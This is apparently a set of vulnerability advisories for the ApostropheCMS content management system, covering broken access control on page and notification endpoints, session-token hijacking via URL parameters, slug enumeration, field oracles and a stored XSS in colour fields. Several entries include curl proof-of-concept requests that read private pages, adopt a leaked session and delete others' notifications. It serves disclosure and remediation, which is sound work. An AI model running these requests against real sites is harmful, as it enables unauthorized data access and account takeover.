Summary The core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by id/slug.

Details packages/apostrophe/modules/@apostrophecms/page/index.js: - getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — no viewRole threshold, no visibility filtering. - all handler (L318–395): getRestQuery(req).permission(false) (L384–385) walks every page type and returns the projection including visibility. - publicApiCheckAsync (L3044) only checks that publicApiProjection exists — it performs no authorization. - Correct control behaves differently: piece-type/index.js:getOne (L319–327) uses getRestQuery(req) without .permission(false) and enforces viewRole.

PoC Anonymous (no session) — private, admin-only page: curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published" → 200 {"id":"...:en:published","title":"Secret Private Page","slug":"/secret-page", "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}

Anonymous full site-map dump (includes private + loginRequired pages): curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree

Contributor (contadmin) reads full admin-only doc incl. protected field: curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published" → 200 secretData = TOP-SECRET-VALUE-abc123 Controls (correctly enforced): curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403 curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403

Impact Unauthenticated disclosure of visibility: private and loginRequired pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because ids are enumerable and leaked by all=1, this is systemic.

Remediation — Remove .permission(false) from getOne/all or re-apply the type's viewRole threshold plus the same visibility/login-required criteria the list and autocomplete paths use (mirror piece-type); make publicApiCheck config-presence-only and add an explicit authorization step per verb.

Summary Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including passport.user) with no credentials.

Details packages/apostrophe/modules/@apostrophecms/i18n/index.js: - Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (passport-bridge/index.js L557–593) places the token in the URL. - acceptCrossDomainSessionToken (L258–298) reads ?aposCrossDomainSessionToken, Object.assigns the stored session (cookie + passport.user) onto req.session, then nulls the cache entry under namespace @apostrophecms/i18n:cross-domain-sessions. - Middleware without before: is registered for every URL (express findModuleMiddlewareAndRoutes L820–879); verified with APOSLOGALLROUTES=1.

PoC 0) Anonymous baseline: admin-only draft → 403 1) Admin logs in legitimately (token minted into redirect URL): curl -c admin.cookies -X POST -H "Content-Type: application/json" \ --data '{"username":"admin","password":"adminpassword","session":true}' \ http://localhost:3100/api/v1/@apostrophecms/login/login 2) Attacker with NO credentials visits the leaked token URL: curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTINGTOKEN" → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie 3) Attacker reads admin-only content via adopted session: curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123 4) Cache entry consumed (single-use): {"value":null}

Impact Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.

Remediation — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.

Summary

The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.

---

Affected Code

File

text packages/apostrophe/modules/@apostrophecms/notification/index.js

javascript // restApiRoutes async patch(req, id) { const dismissed = self.apos.launder.boolean(req.body.dismissed);

if (dismissed) { await self.emit('beforeSave', req, { id, dismissed });

await self.db.updateOne( { id }, { $set: { dismissed }, $currentDate: { updatedAt: true } } ); } },

async delete(req, id) { await self.db.deleteMany({ id }); }

Unlike the GET notification route, these handlers do not verify:

- Authentication (req.user) - Ownership (userId === req.user.id) - Authorization or permissions

Instead, the supplied id is used directly against the raw MongoDB collection.

---

Root Cause

The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.

While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the GET notification route correctly checks:

javascript if (!(req.user && req.user.id)) { throw self.apos.error('invalid'); }

No equivalent validation exists in the PATCH or DELETE handlers.

---

Proof of Concept

1. Log in as an administrator

bash curl -sS -c admincookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null

curl -sS \ -b admincookies.txt \ -c admincookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "username":"admin", "password":"AdminP@ssw0rd123!", "session":true }'

---

2. Create a notification

bash curl -sS \ -b admincookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/notification \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "message":"manual verify test", "type":"info" }'

Example response:

json { "noteId":"p358r7phi2w8l245ww5130uf" }

---

3. Verify the notification exists

bash curl -sS \ -b admincookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

json { "notifications":[ { "id":"p358r7phi2w8l245ww5130uf", "userId":"i89h844o5n3nbreis0ugusum", "message":"manual verify test" } ], "dismissed":[] }

---

4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

bash rm -f anoncookies.txt

curl -sS \ -c anoncookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null

Then send the request without any authenticated session:

bash curl -i \ -b anoncookies.txt \ -X DELETE \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \ -H "X-XSRF-TOKEN: csrf"

Response:

http HTTP/1.1 200 OK

---

5. Verify the notification has been deleted

bash curl -sS \ -b admincookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

json { "notifications":[], "dismissed":[] }

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.

---

Impact

An attacker who obtains a valid notification ID can:

- Delete another user's notifications. - Mark another user's notifications as dismissed. - Suppress security-related or administrative notifications.

The vulnerability primarily affects integrity.

Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.

---

Recommended Fix

Require authentication before processing any modification request.

Additionally, scope all database operations to the authenticated user.

Example:

javascript // patch async patch(req, id) { if (!req.user) { throw self.apos.error('forbidden'); } const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { id, dismissed }); const result = await self.db.updateOne( { id, userId: req.user.id }, // <-- ownership check { $set: { dismissed }, $currentDate: { updatedAt: true } } ); if (!result.matchedCount) { throw self.apos.error('notfound'); } } }, // delete async delete(req, id) { if (!req.user) { throw self.apos.error('forbidden'); } const result = await self.db.deleteMany({ id, userId: req.user.id }); if (!result.deletedCount) { throw self.apos.error('notfound'); } }

Similarly, update the PATCH handler to verify both authentication and ownership before updating notification records.

---

Recommendation

Every notification modification endpoint should:

- Require authentication. - Verify ownership (userId === req.user.id). - Return 403 Forbidden for unauthorized requests. - Avoid performing database operations solely using a user-controlled id.

The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.

Impact Even though it is correctly applied to guests, contributors, etc., viewRole is not applied to the general public. This means that a secured content type like @apostrophecms/user can in theory be accessed.

This is greatly mitigated by the fact that there is no automatic public REST API for any content type. One has to expressly allow it. However, it does mean that developers can make the mistake of setting up a relationship between a content type like a blog post, and @apostrophecms/user. This could potentially expose some sensitive information if templates were written poorly, e.g. if they JSON-serialized the entire object. Note that password hashes are NOT affected because they reside in a separate collection.

The public demo project and its various flavors must be updated first because it inadvertently relies on the bug.

Patches 4.33.0

Workarounds Never create relationships with @apostrophecms/user that are intended for non-admin display. If you need a relationship that expresses authorship, create a separate author piece type to publicly represent that.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.34.0, a public REST API type that uses publicApiProjection can expose excluded searchable or sortable field information through search membership and sort ordering oracles. Returned fields remain filtered by the projection, so the issue permits targeted inference about hidden values rather than an unrestricted field dump. This issue is fixed in version 4.34.0.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.34.0, 'POST /api/v1/@apostrophecms/doc/slugTaken' with body { "slug": "target-slug" } returns a boolean indicating whether a slug is in use across all document types and visibility levels, with no permission or type filter. Any logged-in user (including editors) can enumerate the slug space of private pages, drafts, and archived content. This issue is fixed in version 4.34.0.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.34.0, the color field accepts trailing content after a valid rgb() or hsl() prefix because its TinyColor validation does not require the entire value to match a color. An authenticated user with edit rights can store arbitrary HTML after a valid color prefix. When the stored value is rendered, the payload executes, resulting in stored XSS. This issue is fixed in version 4.34.0.